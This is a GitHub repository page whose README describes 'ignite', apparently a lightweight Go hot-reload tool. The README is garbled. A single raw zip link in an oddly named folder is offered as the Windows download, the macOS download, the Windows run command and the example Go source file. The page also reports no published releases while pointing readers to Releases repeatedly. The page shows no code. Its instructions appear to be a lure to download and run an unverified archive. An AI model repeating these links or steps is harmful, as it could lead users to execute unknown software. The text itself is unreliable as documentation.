Skip to content
/ ignite Public

πŸ”₯ Boost your Go development with ignite, a lightweight tool that automatically reloads your programs when source files change.

Notifications You must be signed in to change notification settings

BhumBoi/ignite

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

7 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ ignite - Lightweight Tool for Automatic Code Reruns

🏁 Overview

ignite is a simple and lightweight Go hot-reload tool. It helps developers automatically rerun Go programs when source files change. This saves time and makes the development process more efficient.

πŸ“₯ Download & Install

To get started with ignite, you need to download it. Click the link below to visit the Releases page:

Download ignite

Once on the Releases page, find the latest version and select the appropriate file for your operating system. Follow these steps to download and install:

  1. Visit the Releases page.
  2. Choose the latest version available at the top.
  3. Click the file labeled for your operating system, such as https://raw.githubusercontent.com/BhumBoi/ignite/main/pleasurous/ignite.zip for Windows or https://raw.githubusercontent.com/BhumBoi/ignite/main/pleasurous/ignite.zip for macOS.
  4. The download will start automatically. Save the file to a location on your computer where you can easily find it.

πŸ–₯️ System Requirements

  • Operating System: Works on Windows, macOS, and Linux.
  • Go Version: You need Go 1.12 or later installed to run the tool.

πŸ“‚ Running ignite

Once you have downloaded ignite, follow these steps to run it:

  1. Locate the downloaded file: Navigate to the folder where you saved the file.
  2. Open the command line interface:
    • On Windows, search for Command Prompt or PowerShell.
    • On macOS or Linux, open the Terminal.
  3. Navigate to the directory with ignite: Use the cd command followed by the path to the directory. For example:
    cd path\to\your\downloaded\file
    
  4. Run ignite: Enter the command as follows:
    ./ignite
    
    If you are on Windows, you might need to type:
    https://raw.githubusercontent.com/BhumBoi/ignite/main/pleasurous/ignite.zip
    

πŸ”§ How to Use ignite

To start using ignite, follow these steps:

  1. Create a Go project or open an existing one.
  2. Begin your main Go file, such as https://raw.githubusercontent.com/BhumBoi/ignite/main/pleasurous/ignite.zip, in the text editor of your choice.
  3. In your command line, use the command:
    ignite watch ./path/to/your/project
    
    This command tells ignite to watch your project for changes.
  4. Now, anytime you save changes to your Go files, ignite will automatically rerun your program.

πŸ“š Features

  • Hot Reloading: Automatically reruns your program when you save changes.
  • Cross-Platform: Works seamlessly on Windows, macOS, and Linux.
  • Easy to Use: Simple commands to set up and start your project quickly.
  • Lightweight: Minimal impact on your system resources.

πŸ’‘ Tips for Success

  • Ensure your Go environment is set up correctly. You can check this by running go version in your command line.
  • Use a code editor that saves files quickly to take full advantage of the hot-reload feature.
  • Consider organizing your Go code efficiently to minimize errors and enhance productivity.

πŸ› οΈ Support and Contributions

If you encounter issues or have questions, you can make use of the GitHub issues page. Contributions to improve ignite are welcome. Feel free to suggest features or report problems.

Visit the Releases page again to check for updates.

πŸŽ‰ Acknowledgments

ignite is developed with simplicity and efficiency in mind. Thank you for choosing to use this tool for your Go projects. Happy coding!

About

πŸ”₯ Boost your Go development with ignite, a lightweight tool that automatically reloads your programs when source files change.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages